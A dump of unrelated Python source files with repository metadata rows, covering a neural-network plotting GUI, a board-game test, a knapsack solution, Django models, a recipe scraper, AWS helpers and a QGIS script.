#self.goal = np.zeros((self.network.nOutputs, self.plotlength));
self.errorlength = 50000;
self.error = np.zeros(self.errorlength);
self.curves = []
for i in range(self.network.nOutputs):
c = self.plot[0].plot(self.output[i,:], pen = (i, self.network.nOutputs));
#c.setPos(0,0*i*6);
self.curves.append(c);
c = self.plot[1].plot(self.error, pen = (2,3));
self.curves.append(c);
# parameter controls
self.steps = 0;
params = [
{'name': 'Controls', 'type': 'group', 'children': [
{'name': 'Simulate', 'type': 'bool', 'value': True, 'tip': "Run the network simulation"},
{'name': 'Plot', 'type': 'bool', 'value': True, 'tip': "Check to plot network evolution"},
{'name': 'Plot Interval', 'type': 'int', 'value': 10, 'tip': "Step between plot updates"},
{'name': 'Timer', 'type': 'int', 'value': 10, 'tip': "Pause between plot is updated"},
]}
,
{'name': 'Network Parameter', 'type': 'group', 'children': [
{'name': 'Eta', 'type': 'float', 'value': self.network.eta, 'tip': "Learning rate"}#,
#{'name': 'Gamma', 'type': 'float', 'value': self.network.gamma, 'tip': "Learning rate"},
]}
,
{'name': 'Status', 'type': 'group', 'children': [
{'name': 'Steps', 'type': 'int', 'value': self.steps, 'tip': "Actual iteration step", 'readonly': True}
]}
];
self.parameter = Parameter.create(name = 'Parameter', type = 'group', children = params);
print self.parameter
print self.parameter.children()
self.parameter.sigTreeStateChanged.connect(self.updateParameter);
## Create two ParameterTree widgets, both accessing the same data
t = ParameterTree();
t.setParameters(self.parameter, showTop=False)
t.setWindowTitle('Parameter');
self.splitter3.addWidget(t);
# draw network
self.nsteps = 100;
self.updateView();
def updateParameter(self, param, changes):
for param, change, data in changes:
prt = False;
if param.name() == 'Eta':
self.network.eta = data;
prt = True;
if param.name() == 'Gamma':
self.network.gamma = data;
prt = True;
elif param.name() == 'Timer':
self.timer.setInterval(data);
prt = True;
if prt:
path = self.parameter.childPath(param);
if path is not None:
childName = '.'.join(path)
else:
childName = param.name()
print(' parameter: %s'% childName)
print(' change: %s'% change)
print(' data: %s'% str(data))
print(' ----------')
def updateView(self):
"""Update plots in viewer"""
if self.parameter['Controls', 'Simulate']:
pl = self.parameter['Controls', 'Plot'];
ns = self.parameter['Controls', 'Plot Interval'];
if pl:
for i in range(len(self.matrixdata)):
self.matrixdata[i][:, :-ns] = self.matrixdata[i][:,ns:];
self.output[:, :-ns] = self.output[:, ns:];
self.error[:-1] = self.error[1:];
for i in range(ns,0,-1):
self.network.step();
# This way our step size can be very large
if pl and i <=self.nStates:
self.output[:,-i] = self.network.output;
self.matrixdata[0][:,-i] = self.network.input;
self.matrixdata[1][:,-i] = self.network.goal;
self.matrixdata[2][:,-i] = self.network.output;
self.matrixdata[3][:,-i] = self.network.state;
self.steps += ns;
self.parameter['Status', 'Steps'] = self.steps;
if pl:
#s = self.network.state.copy();
#s = s.reshape(s.shape[0], 1);
for i in range(len(self.matrixdata)):
self.images[i].setImage(self.matrixdata[i]);
#self.images[-1].setImage(self.network.weights.T);
#self.images[-1].setImage(self.network.p.T);
# update actual state
#self.curves[0].setData(self.network.output);
#self.curves[1].setData(self.network.goal.astype('float'));
# update history
for i in range(self.network.nOutputs):
self.curves[i].setData(self.output[i,:]);
#keep updating error as its cheap
self.error[-1:] = self.network.error();
self.curves[-1].setData(self.error);
print "Error: "
print np.mean(self.error[-10:-1])
| [
"aclscientist@gmail.com"
] | aclscientist@gmail.com |
1d86fa9c04a543fb69270f8ebc482da953ce3942 | ca75f7099b93d8083d5b2e9c6db2e8821e63f83b | /z2/part2/interactive/jm/random_normal_1/782677726.py | 60fa6b4705369acbc350e9f2c37456a1a42fa5b5 | [
"MIT"
] | permissive | kozakusek/ipp-2020-testy | 210ed201eaea3c86933266bd57ee284c9fbc1b96 | 09aa008fa53d159672cc7cbf969a6b237e15a7b8 | refs/heads/master | 2022-10-04T18:55:37.875713 | 2020-06-09T21:15:37 | 2020-06-09T21:15:37 | 262,290,632 | 0 | 0 | MIT | 2020-06-09T21:15:38 | 2020-05-08T10:10:47 | C | UTF-8 | Python | false | false | 3,118 | py | from part1 import (
gamma_board,
gamma_busy_fields,
gamma_delete,
gamma_free_fields,
gamma_golden_move,
gamma_golden_possible,
gamma_move,
gamma_new,
)
"""
scenario: test_random_actions
uuid: 782677726
"""
"""
random actions, total chaos
"""
board = gamma_new(4, 4, 5, 1)
assert board is not None
assert gamma_move(board, 1, 0, 0) == 1
assert gamma_busy_fields(board, 1) == 1
assert gamma_move(board, 2, 3, 0) == 1
assert gamma_golden_possible(board, 2) == 1
assert gamma_move(board, 4, 1, 1) == 1
assert gamma_move(board, 4, 0, 1) == 1
assert gamma_move(board, 5, 3, 3) == 1
assert gamma_move(board, 5, 0, 1) == 0
assert gamma_free_fields(board, 5) == 2
assert gamma_move(board, 1, 3, 2) == 0
assert gamma_busy_fields(board, 1) == 1
assert gamma_move(board, 2, 2, 1) == 0
assert gamma_move(board, 2, 2, 0) == 1
assert gamma_move(board, 3, 3, 0) == 0
assert gamma_golden_possible(board, 3) == 1
assert gamma_move(board, 4, 3, 1) == 0
assert gamma_golden_possible(board, 4) == 1
assert gamma_move(board, 5, 1, 3) == 0
assert gamma_move(board, 1, 2, 2) == 0
assert gamma_move(board, 1, 2, 1) == 0
assert gamma_golden_possible(board, 1) == 1
assert gamma_move(board, 2, 0, 2) == 0
assert gamma_move(board, 2, 2, 3) == 0
assert gamma_move(board, 3, 3, 2) == 1
assert gamma_move(board, 3, 3, 3) == 0
assert gamma_golden_move(board, 3, 1, 0) == 0
board662980125 = gamma_board(board)
assert board662980125 is not None
assert board662980125 == ("...5\n"
"...3\n"
"44..\n"
"1.22\n")
del board662980125
board662980125 = None
assert gamma_move(board, 4, 1, 1) == 0
assert gamma_busy_fields(board, 4) == 2
assert gamma_free_fields(board, 4) == 4
assert gamma_golden_possible(board, 4) == 1
assert gamma_move(board, 5, 2, 1) == 0
assert gamma_move(board, 5, 2, 2) == 0
assert gamma_free_fields(board, 5) == 1
assert gamma_move(board, 1, 0, 0) == 0
assert gamma_move(board, 1, 2, 1) == 0
assert gamma_move(board, 2, 1, 3) == 0
assert gamma_move(board, 2, 0, 0) == 0
assert gamma_golden_move(board, 2, 3, 3) == 0
assert gamma_move(board, 4, 1, 3) == 0
assert gamma_golden_possible(board, 4) == 1
assert gamma_golden_possible(board, 5) == 1
assert gamma_move(board, 1, 0, 0) == 0
assert gamma_move(board, 2, 1, 2) == 0
assert gamma_move(board, 2, 1, 2) == 0
assert gamma_move(board, 3, 2, 1) == 0
assert gamma_move(board, 3, 3, 3) == 0
assert gamma_move(board, 4, 3, 0) == 0
assert gamma_free_fields(board, 4) == 4
assert gamma_move(board, 5, 3, 0) == 0
assert gamma_move(board, 5, 3, 2) == 0
assert gamma_move(board, 1, 2, 1) == 0
assert gamma_golden_possible(board, 1) == 1
assert gamma_move(board, 2, 1, 1) == 0
assert gamma_move(board, 2, 3, 2) == 0
assert gamma_golden_possible(board, 2) == 1
assert gamma_move(board, 3, 3, 2) == 0
assert gamma_move(board, 4, 2, 1) == 1
assert gamma_move(board, 5, 2, 2) == 0
assert gamma_free_fields(board, 5) == 1
assert gamma_move(board, 1, 0, 1) == 0
assert gamma_move(board, 1, 2, 2) == 0
assert gamma_move(board, 2, 0, 1) == 0
assert gamma_free_fields(board, 2) == 2
gamma_delete(board)
| [
"jakub@molinski.dev"
] | jakub@molinski.dev |
0192a55bee2cdb27c882409abd6d92b255bcbb66 | a5e6ce10ff98539a94a5f29abbc053de9b957cc6 | /problems/dynamic_programing/knapsack1.py | fd45ebc6c136b21f6fbffd1e18dc65c3b37eb2ff | [] | no_license | shimaw28/atcoder_practice | 5097a8ec636a9c2e9d6c417dda5c6a515f1abd9c | 808cdc0f2c1519036908118c418c8a6da7ae513e | refs/heads/master | 2020-07-26T10:59:51.927217 | 2020-06-13T11:53:19 | 2020-06-13T11:53:19 | 208,622,939 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 526 | py | # atcoder https://atcoder.jp/contests/dp/tasks/dp_d
def main():
N, W = map(int, input().split())
w, v = [], []
for _ in range(N):
wi, vi = map(int, input().split())
w.append(wi)
v.append(vi)
dp = [[0 for j in range(W+1)] for i in range(N+1)]
for i in range(1, N+1):
for j in range(1, W+1):
if j >= w[i-1]:
dp[i][j] = max(dp[i-1][j], dp[i-1][j-w[i-1]]+v[i-1])
else:
dp[i][j] = dp[i-1][j]
print(dp[N][W])
main() | [
"shima.w28@gmail.com"
] | shima.w28@gmail.com |
7de2a9da3fb85e1c6dd5a800ccf836c5f6680029 | fc4aaf15ef2b10c89728651316300ada27f14ae3 | /basic_app/models.py | 3b159a9e093f32b2a9c91d455459336aa4a8d7bc | [] | no_license | ethicalrushi/seller | 7f6231e710b32e8d7700e32e321879728de65546 | 9473fcb6595c27c7adbcea24990b6e8f006d3e8a | refs/heads/master | 2020-03-08T04:00:59.089892 | 2018-04-04T17:48:19 | 2018-04-04T17:48:19 | 126,335,389 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,726 | py | from django.db import models
from django.contrib.auth.models import User
# Create your models here.
class Department(models.Model):
name = models.CharField(max_length=50)
def __str__(self):
return self.name
class Product(models.Model):
name = models.CharField(max_length=200)
department = models.ForeignKey('Department', on_delete=models.SET_DEFAULT, default='Specials', blank=True)
price = models.PositiveIntegerField()
cod_availability = models.BooleanField(default=False)
seller = models.CharField(max_length=200)
description = models.TextField()
image= models.ImageField(upload_to='product_pic')
def __str__(self):
return self.name
class Cart(models.Model):
user = models.ForeignKey(User)
active = models.BooleanField(default=True)
def add_to_cart(self, product_id):
product = Product.objects.get(pk=product_id)
try:
preexisting_order = ProductOrder.objects.get(product=product, cart=self)
preexisting_order.quantity+=1
preexisting_order.save()
except ProductOrder.DoesNotExist:
new_order = ProductOrder.objects.create(
product=product,
cart=self,
quantity=1,
)
new_order.save()
def remove_from_cart(self, product_id):
product=Product.objects.get(pk=product_id)
try:
preexisting_order = ProductOrder.objects.get(product=product, cart=self)
if preexisting_order.quantity >1:
preexisting_order.quantity-=1
preexisting_order.save()
else:
preexisting_order.delete()
except ProductOrder.DoesNotExist:
pass
class ProductOrder(models.Model):
product = models.ForeignKey(Product)
cart = models.ForeignKey(Cart)
quantity = models.IntegerField() | [
"pupalerushikesh@gmail.com"
] | pupalerushikesh@gmail.com |
d4cb7acb76a7609399131caf54bb1033a481ac87 | a185d936357b6f376df921de291654f6148f2a77 | /Database/Scripts/Treenut/script4.py | 50cb738e24bb4264a5381cfd93ecaa9b2698f0ca | [] | no_license | virajnilakh/ZenHealth | 021edd06a8e01fb96db5ce9c34c200bd277942bf | 02f274bbed2b16a2aff01c7f57e81b705af90012 | refs/heads/master | 2021-05-07T07:11:09.096859 | 2018-07-06T00:27:58 | 2018-07-06T00:27:58 | 109,096,469 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,656 | py | from firebase import firebase
import json
import requests
import os
from pprint import pprint
import pymongo
'''
Query 4
http://api.yummly.com/v1/api/recipes?_app_id=dummyid&_app_key=dummykey&allowedAllergy[]=395^Treenut-Free
&allowedDiet[]=386^Vegan&allowedCourse[]=course^course-Main Dishes&maxResult=30&nutrition.SUGAR.min=10&nutrition.SUGAR.max=12
this script is for query 4, Main Dishes in course , sugar value is high, allowed allergy: treenut, allowedDiet= Vegan
'''
def getRecipeData():
recipeUrlList = [
'http://api.yummly.com/v1/api/recipe/Candied-Yams-1310064?_app_id=dummyid&_app_key=dummykey',
'http://api.yummly.com/v1/api/recipe/The-Ultimate-Mojito-Jo-Cooks-46054?_app_id=dummyid&_app_key=dummykey',
'http://api.yummly.com/v1/api/recipe/Turmeric-and-Ginger-Tonic-2101984?_app_id=dummyid&_app_key=dummykey',
'http://api.yummly.com/v1/api/recipe/Homemade-Hummus-2395748?_app_id=dummyid&_app_key=dummykey',
'http://api.yummly.com/v1/api/recipe/Hawaiian-Champagne-Punch-2411488?_app_id=dummyid&_app_key=dummykey',
'http://api.yummly.com/v1/api/recipe/Strawberry-Lemonade-Slush-1119185?_app_id=dummyid&_app_key=dummykey',
'http://api.yummly.com/v1/api/recipe/Pear-and-Pomegranate-Salsa-1438183?_app_id=dummyid&_app_key=dummykey',
'http://api.yummly.com/v1/api/recipe/Maple-Roasted-Butternut-Squash_-Brussel-Sprouts-_-Cranberries-2243291?_app_id=dummyid&_app_key=dummykey',
'http://api.yummly.com/v1/api/recipe/Blueberry-Banana-Oatmeal-Smoothie-2254689?_app_id=dummyid&_app_key=dummykey',
'http://api.yummly.com/v1/api/recipe/Creamy-Avocado-Pesto-Zoodles-1018988?_app_id=dummyid&_app_key=dummykey'
]
for url in recipeUrlList:
r = requests.get(url)
data = r.json()
extractDataFromUrl(data)
def extractDataFromUrl(data):
recipeData = {}
nutritionData = {}
recipeData['Ingredients'] = data.get('ingredientLines')
attrs = data.get('attributes')
if attrs:
recipeData['Course'] = attrs.get('course')
if (recipeData['Course'] == None):
recipeData['Course'] = []
recipeData['Course'].append("Main Dishes")
recipeData['Cuisine'] = attrs.get('cuisine')
else:
recipeData['Course'] = "Main Dishes"
recipeData ['Name'] = data.get('name')
for nutrition in data['nutritionEstimates']:
if nutrition['attribute'] == "ENERC_KCAL":
nutritionData['Calories'] = str(nutrition['value']) + " " + nutrition['unit']['pluralAbbreviation']
if nutrition['attribute'] == "SUGAR":
nutritionData['Sugar'] = str(nutrition['value']) + " " + nutrition['unit']['pluralAbbreviation']
if nutrition['attribute'] == "CHOCDF":
nutritionData['Carbohydrates'] = str(nutrition['value']) + " " + nutrition['unit']['pluralAbbreviation']
recipeData['Nutrients'] = nutritionData
recipeData['allowedDiet'] = 'Vegan'
recipeData['allowedAllergy'] = 'Treenut-Free'
recipeData['sugarLevel'] = 'High'
#recipeData['allowedIngredient'] = 'bacon'
print(recipeData ['Name'])
result = firebase.post('/foodData', recipeData)
print("RESULT IS:")
print(result)
firebase = firebase.FirebaseApplication('https://zenhealth-215f6.firebaseio.com/', authentication=None)
getRecipeData()
| [
"noreply@github.com"
] | virajnilakh.noreply@github.com |
283359a20e140bad25199256e77196298e581515 | de24f83a5e3768a2638ebcf13cbe717e75740168 | /moodledata/vpl_data/429/usersdata/321/101659/submittedfiles/jogoDaVelha_BIB.py | b62888cd1d8baaf9b6d90df806d218ed55543e07 | [] | no_license | rafaelperazzo/programacao-web | 95643423a35c44613b0f64bed05bd34780fe2436 | 170dd5440afb9ee68a973f3de13a99aa4c735d79 | refs/heads/master | 2021-01-12T14:06:25.773146 | 2017-12-22T16:05:45 | 2017-12-22T16:05:45 | 69,566,344 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,257 | py | # -*- coding: utf-8 -*-
# COLOQUE SUA BIBLIOTECA A PARTIR DAQUI
import random
def simbolo():
s = str(input('Qual símbolo você deseja utilizar no jogo? (X ou O) \n'))
while s != 'X' and s != 'O':
print('Isira um símbolo válido')
s = str(input('Qual símbolo você deseja utilizar no jogo? (X ou O) '))
return
sorteado = -1
while(True) :
sorteado = random.randint(0,num_grupos-1)
if (tipo=='G') :
if (grupos_sorteados[sorteado] == -1):
break
return sorteado
for i in range (num_grupos+1,1):
input(' Pressione ENTER para sortear o %dº grupo...' % i)
indice_grupo = sorteio('G')
mostra_sorteado('G',indice_grupo)
input(' Pressione ENTER para sortear a %dª data...' % i)
indice_data = sorteio('D')
time.sleep(3)
mostra_sorteado('D',indice_data)
salva_sorteio(indice_grupo, indice_data)
print(' ------------------------------------------------- ')
print(' Ordem de apresentação do P1 ')
print(' ------------------------------------------------- ')
inicio = ['computador','nome']
inicio_sorteio = [1,1]
num_inicio = len(inicio)
def sorteio (x):
sorteado = 1
if sorteado in inicio_sorteio:
return inicio_sorteio.index
| [
"rafael.mota@ufca.edu.br"
] | rafael.mota@ufca.edu.br |
480f4bce7c618584210823d38405128065d34426 | 91d1a6968b90d9d461e9a2ece12b465486e3ccc2 | /alexaforbusiness_write_1/user_delete.py | 552e70148262104efc7a5436e0538e2e95345610 | [] | no_license | lxtxl/aws_cli | c31fc994c9a4296d6bac851e680d5adbf7e93481 | aaf35df1b7509abf5601d3f09ff1fece482facda | refs/heads/master | 2023-02-06T09:00:33.088379 | 2020-12-27T13:38:45 | 2020-12-27T13:38:45 | 318,686,394 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,100 | py | #!/usr/bin/python
# -*- codding: utf-8 -*-
import os
import sys
sys.path.append(os.path.dirname(os.path.abspath(os.path.dirname(__file__))))
from common.execute_command import write_one_parameter
# url : https://awscli.amazonaws.com/v2/documentation/api/latest/reference/alexaforbusiness/delete-user.html
if __name__ == '__main__':
"""
create-user : https://awscli.amazonaws.com/v2/documentation/api/latest/reference/alexaforbusiness/create-user.html
search-users : https://awscli.amazonaws.com/v2/documentation/api/latest/reference/alexaforbusiness/search-users.html
"""
parameter_display_string = """
# enrollment-id : The ARN of the userâs enrollment in the organization. Required.
"""
add_option_dict = {}
#######################################################################
# parameter display string
add_option_dict["parameter_display_string"] = parameter_display_string
# ex: add_option_dict["no_value_parameter_list"] = "--single-parameter"
write_one_parameter("alexaforbusiness", "delete-user", "enrollment-id", add_option_dict)
| [
"hcseo77@gmail.com"
] | hcseo77@gmail.com |
4ff4bc8aa3fd0344b8ce84d0b596891346d80dfe | 91fb65972d69ca25ddd892b9d5373919ee518ee7 | /pibm-training/sample-programs/range_example_001.py | 13445a33e06d8a5a5c134cdf7f0e7bc0e480f99a | [] | no_license | zeppertrek/my-python-sandpit | c36b78e7b3118133c215468e0a387a987d2e62a9 | c04177b276e6f784f94d4db0481fcd2ee0048265 | refs/heads/master | 2022-12-12T00:27:37.338001 | 2020-11-08T08:56:33 | 2020-11-08T08:56:33 | 141,911,099 | 0 | 0 | null | 2022-12-08T04:09:28 | 2018-07-22T16:12:55 | Python | UTF-8 | Python | false | false | 430 | py | #range_example_001.py
#range converted to lists
#
print ("List range(10) ---", list(range(10)))
print ("List range(1,11) ---", list(range(1, 11)))
print ("List range(0,30,5) --- ", list(range(0, 30, 5)))
print ("list(range(0, 10, 3)) ---", list(range(0, 10, 3)))
print ("list(range(0, -10, -1)) ---" , list(range(0, -10, -1)))
print ("list(range(0)) ---", list(range(0)))
print ("list(range(1, 0)) ---", list(range(1, 0)))
| [
"zeppertrek@gmail.com"
] | zeppertrek@gmail.com |
4dfc5e22548977aa77f85efeb2ee388d37034424 | d1f971b9fa0edfa633b62887cf9d173d6a86a440 | /concepts/Exercises/list_slicing.py | 94af34cfb70f29e3e12488fea14a57a678427d25 | [] | no_license | papan36125/python_exercises | d45cf434c15aa46e10967c13fbe9658915826478 | 748eed2b19bccf4b5c700075675de87c7c70c46e | refs/heads/master | 2020-04-28T10:01:10.361108 | 2019-05-10T13:45:35 | 2019-05-10T13:45:35 | 175,187,760 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 240 | py | my_list = ['p','r','o','g','r','a','m','i','z']
# elements 3rd to 5th
print(my_list[2:5])
# elements beginning to 4th
print(my_list[:-5])
# elements 6th to end
print(my_list[5:])
# elements beginning to end
print(my_list[:])
| [
"noreply@github.com"
] | papan36125.noreply@github.com |
cbd21866c009354fdebf87e289855b910528d4bc | a5da45e771fb57b4785bd19d46261c7c6488040d | /src/rv/utils/batch.py | 9c97506bd94043348b15da280c4b57ea5e3da67d | [
"Apache-2.0"
] | permissive | bw4sz/raster-vision | 6f6888f9dbb1277f9c4e40c3dfb53d5e79b3a4e8 | 02465c49ad64f7efebc4772b716a08b23cd438bf | refs/heads/develop | 2021-05-14T00:19:25.786863 | 2018-01-14T23:59:30 | 2018-01-14T23:59:30 | 116,536,741 | 0 | 0 | null | 2018-01-14T23:59:31 | 2018-01-07T04:17:39 | Python | UTF-8 | Python | false | false | 1,479 | py | from os import environ
import click
import boto3
s3_bucket = environ.get('S3_BUCKET')
def _batch_submit(branch_name, command, attempts=3, cpu=False):
"""
Submit a job to run on Batch.
Args:
branch_name: Branch with code to run on Batch
command: Command in quotes to run on Batch
"""
full_command = ['run_script.sh', branch_name]
full_command.extend(command.split())
client = boto3.client('batch')
job_queue = 'raster-vision-cpu' if cpu else \
'raster-vision-gpu'
job_definition = 'raster-vision-cpu' if cpu else \
'raster-vision-gpu'
job_name = command.replace('/', '-').replace('.', '-')
job_name = 'batch_submit'
job_id = client.submit_job(
jobName=job_name,
jobQueue=job_queue,
jobDefinition=job_definition,
containerOverrides={
'command': full_command
},
retryStrategy={
'attempts': attempts
})['jobId']
click.echo(
'Submitted job with jobName={} and jobId={}'.format(job_name, job_id))
@click.command()
@click.argument('branch_name')
@click.argument('command')
@click.option('--attempts', default=3, help='Number of times to retry job')
@click.option('--cpu', is_flag=True, help='Use CPU EC2 instances')
def batch_submit(branch_name, command, attempts, cpu):
_batch_submit(branch_name, command, attempts=attempts, cpu=cpu)
if __name__ == '__main__':
batch_submit()
| [
"lewfish@gmail.com"
] | lewfish@gmail.com |
d466f070c3427581d6259d57f853f56ec3df69ab | edebd47922910982979c19f276f202ffccdd3ee3 | /test/lit.cfg | 97912f426659bf1dac4a61700bfd5fcbe076776d | [] | no_license | cadets/watchman | a6bbcb6bf88db90d81c000387194dc03c98033ea | daeb8d1c7f93f427aa1bb5598971f64646103470 | refs/heads/master | 2021-01-10T12:55:58.186096 | 2016-04-01T18:28:49 | 2016-04-01T18:28:49 | 55,184,504 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,861 | cfg | # vim:syntax=python
import lit
import os
import sys
#
# Basic information about this test suite.
#
config.name = 'WATCHMAN'
config.suffixes = [ '.c', '.cpp', '.ll' ]
config.excludes = [ 'Inputs' ]
config.test_format = lit.formats.ShTest()
params = lit_config.params
#
# Useful environment variables.
#
# This variables are optional when WATCHMAN is installed to a standard location;
# if not, failure to set these variables will cause tests to fail building.
#
source_dir = os.getenv('WATCHMAN_SOURCE_DIR')
if not source_dir:
if not 'source_dir' in params:
raise Exception, ('Unable to find WATCHMAN source directory;' +
' set WATCHMAN_SOURCE_DIR or pass --source_dir to lit')
source_dir = params['source_dir']
build_dir = os.getenv('WATCHMAN_BUILD_DIR')
if not build_dir:
if not 'build_dir' in params:
raise Exception, ('Unable to find WATCHMAN build directory;' +
' set WATCHMAN_BUILD_DIR or pass --build_dir to lit')
build_dir = params['build_dir']
include_dirs = [ build_dir + '/include' ]
extra_cflags = [ '-g' ] # always build tests with debug symbols
extra_cxxflags = [ '-g' ]
libdirs = []
extra_libs = []
if 'extra_include_dirs' in params:
include_dirs += params['extra_include_dirs'].split(os.path.pathsep)
if 'extra_cflags' in params:
extra_cflags += params['extra_cflags'].split(os.path.pathsep)
if 'extra_cxxflags' in params:
extra_cxxflags += params['extra_cxxflags'].split(os.path.pathsep)
if 'extra_libdirs' in params:
libdirs += params['extra_libdirs'].split(os.path.pathsep)
if 'extra_libs' in params:
extra_libs += params['extra_libs'].split(os.path.pathsep)
if 'output_dir' in params:
config.test_exec_root = params['output_dir']
#
# Find the 'test_support' module (which may not be in the current PYTHONPATH).
#
sys.path.append(os.curdir)
if source_dir: sys.path.append(os.path.join(source_dir, 'test'))
try:
import test_support as test
except ImportError, e:
print "Unable to find 'test_support' module!"
print "Try setting WATCHMAN_SOURCE_DIR?"
sys.exit(1)
#
# Find LLVM tools (e.g. FileCheck).
#
llvm_obj_root = test.llvm_config['obj-root']
llvm_tools = os.path.join(llvm_obj_root, 'bin')
#
# Find WATCHMAN includes and libraries.
#
for (header, subdir) in [
('watchman.h', 'include'),
('watchman_internal.h', 'lib'),
]:
include_dirs.append(
test.find_include_dir(header, [ '%s/%s' % (source_dir, subdir) ],
'Try setting WATCHMAN_SOURCE_DIR'))
library_dir = test.find_libdir('libwatchman.*',
[ '%s/lib' % d for d in [ os.getcwd(), build_dir ] ],
'Try setting WATCHMAN_BUILD_DIR')
libdirs.append(library_dir)
#
# Set tools paths, CFLAGS, LDFLAGS, PATH, etc.
#
def suffixize(name):
"""
Expand a name to a list with many suffix variations.
This is used to accommodate the naming scheme used by FreeBSD to
install multiple versions of LLVM/Clang side-by-side.
"""
return [ name + suffix for suffix in [ '-devel', '38', '37', '' ] ]
clang = test.which(suffixize('clang'))
clangpp = test.which(suffixize('clang++'))
config.substitutions += [
# Tools:
('%clang', clang),
('%filecheck', test.which(suffixize('FileCheck'))),
# Flags:
('%cflags', test.cflags(include_dirs + [ '%p/Inputs' ],
extra = extra_cflags)),
('%cxxflags', test.cflags(include_dirs + [ '%p/Inputs' ],
extra = extra_cxxflags)),
('%ldflags', test.ldflags(libdirs, [ 'watchman' ], extra_libs)),
('%cpp_out', test.cpp_out()),
]
config.environment['PATH'] = os.path.pathsep.join([
llvm_tools,
os.path.join(source_dir, 'scripts'),
config.environment['PATH']
])
config.environment['LD_LIBRARY_PATH'] = library_dir
config.environment['WATCHMAN_BUILD_DIR'] = build_dir
config.environment['WATCHMAN_SOURCE_DIR'] = source_dir
config.environment['WATCHMAN_DEBUG'] = '*'
config.environment['CC'] = clang
config.environment['CXX'] = clangpp
| [
"jonathan.anderson@ieee.org"
] | jonathan.anderson@ieee.org |
785a2ac4c6ea2b724fc3667b58832bcb92498198 | 1218aa61721b39064ec34812175a3b2bf48caee1 | /app/replicas/api/serializers.py | 07cad2ce75dfead0dcdd58cf96c7b84537cad290 | [] | no_license | omegion/Mongo-Sharded-Cluster-Monitoring-with-Django-and-Docker-Compose | fd31ace2ab08d59ed2733c94792fcc832bbea963 | 3937845a2b9ee224ff42e896639ce6b7635b1c6e | refs/heads/master | 2023-07-06T10:42:46.393369 | 2019-05-16T15:57:36 | 2019-05-16T15:57:36 | 184,385,304 | 1 | 1 | null | 2023-06-24T08:55:17 | 2019-05-01T07:52:35 | JavaScript | UTF-8 | Python | false | false | 1,056 | py | from django.core.management import call_command
from django.conf import settings
from django.db.models import F
from rest_framework import serializers
from datetime import datetime, timedelta
# Models
from replicas.models import Replica, Check
class ReplicaSerializer(serializers.ModelSerializer):
# user = serializers.SerializerMethodField()
# def get_user(self, instance):
# return {
# 'name': instance.user.name,
# 'photo': self.context['request'].build_absolute_uri(instance.user.photo.url),
# }
class Meta:
model = Replica
read_only_fields = ('id', 'name', 'shard', 'port', 'state', 'status', )
fields = '__all__'
class CheckSerializer(serializers.ModelSerializer):
class Meta:
model = Check
fields = '__all__'
class QuerySerializer(serializers.Serializer):
query = serializers.CharField(required=True)
class QueryInsertSerializer(serializers.Serializer):
number = serializers.IntegerField(required=True)
| [
"vagrant@homestead"
] | vagrant@homestead |
2878cfc7fe099af6ea3dd0037c1f3faf7d1c2e83 | f3762dca5e4956144f430f423340bdcd6604dfea | /scripts/Buffer Contour.py | 1c01743f5fa28d13e7e93e4eda4be3935aba9e29 | [] | no_license | sindile/QGIS-Processing | 7ba7a6e5eda79d86589770b423ae4d00528d0bf9 | 9cd18fa13ab7b74c24de0da3653aa252ec055de7 | refs/heads/master | 2020-12-25T03:49:19.966042 | 2014-06-02T20:33:24 | 2014-06-02T20:33:24 | 20,726,685 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,764 | py | ##Points=vector
##Value_field=field Points
##Levels=string 10;20
##Buffer_parameter=number 60
##Max_buffer_size=number 500
##Group_by_field=boolean True
##Group_Field=field Points
##Contour=output vector
from qgis.core import *
from PyQt4.QtCore import *
from processing.core.VectorWriter import VectorWriter
from shapely.ops import cascaded_union
from shapely.wkb import loads
from shapely.wkt import dumps
levels = [float(x) for x in Levels.split(";")]
maxlevel = max(levels)
mbuf = Max_buffer_size
progress.setText("lvls {0}".format(levels))
nodeLayer = processing.getObject(Points)
nodePrder = nodeLayer.dataProvider()
n = nodeLayer.featureCount()
l = 0
pts = {}
bpr = Buffer_parameter
for feat in processing.features(nodeLayer):
progress.setPercentage(int(100*l/n))
l+=1
if feat[Value_field] < maxlevel:
if Group_by_field: k = feat[Group_Field]
else: k = 'a'
if k not in pts: pts[k] = []
pts[k].append((feat.geometry().asPoint(), feat[Value_field]))
if Group_by_field:
fields = [QgsField(Group_Field, QVariant.String), QgsField('level', QVariant.Double)]
else:
fields = [QgsField('level', QVariant.Double)]
writer = VectorWriter(Contour, None, fields, QGis.WKBMultiPolygon, nodePrder.crs())
feat = QgsFeature()
n = len(pts)
l = 0
for k,v in pts.iteritems():
progress.setPercentage(int(100*l/n))
l+=1
if Group_by_field: attrs = [k, 0]
else: attrs = [0]
for l in levels:
if Group_by_field: attrs[1] = l
else: attrs[0] = l
feat.setAttributes(attrs)
ptlist = [x for x in v if x[1] < l]
polygons = [loads(QgsGeometry.fromPoint(p).buffer(min(mbuf, d * bpr), 10).asWkb())
for p,d in ptlist]
feat.setGeometry(QgsGeometry.fromWkt(dumps(cascaded_union(polygons))))
writer.addFeature(feat)
del writer | [
"volayaf@gmail.com"
] | volayaf@gmail.com |
4993149be8c698b9e63a433c14c910f7cae87885 | a5fdc429f54a0deccfe8efd4b9f17dd44e4427b5 | /0x06-python-classes/0-square.py | 1a79ed9a820966620e5d4ee00e1a77cd94c84336 | [] | no_license | Jilroge7/holbertonschool-higher_level_programming | 19b7fcb4c69793a2714ad241e0cc4fc975d94694 | 743a352e42d447cd8e1b62d2533408c25003b078 | refs/heads/master | 2022-12-20T20:41:33.375351 | 2020-09-25T02:02:28 | 2020-09-25T02:02:28 | 259,471,881 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 133 | py | #!/usr/bin/python3
"""Module here"""
class Square:
"""Class defined here as empty class of square"""
pass # pass as empty
| [
"1672@holbertonschool.com"
] | 1672@holbertonschool.com |
a57641283552933fe4ce9c6587a51d4d46875d6d | 605d63d23bc2e07eb054979a14557d469787877e | /utest/libdoc/test_datatypes.py | e6020b697cbcbd1133a446ff34af7ab630690134 | [
"Apache-2.0",
"CC-BY-3.0"
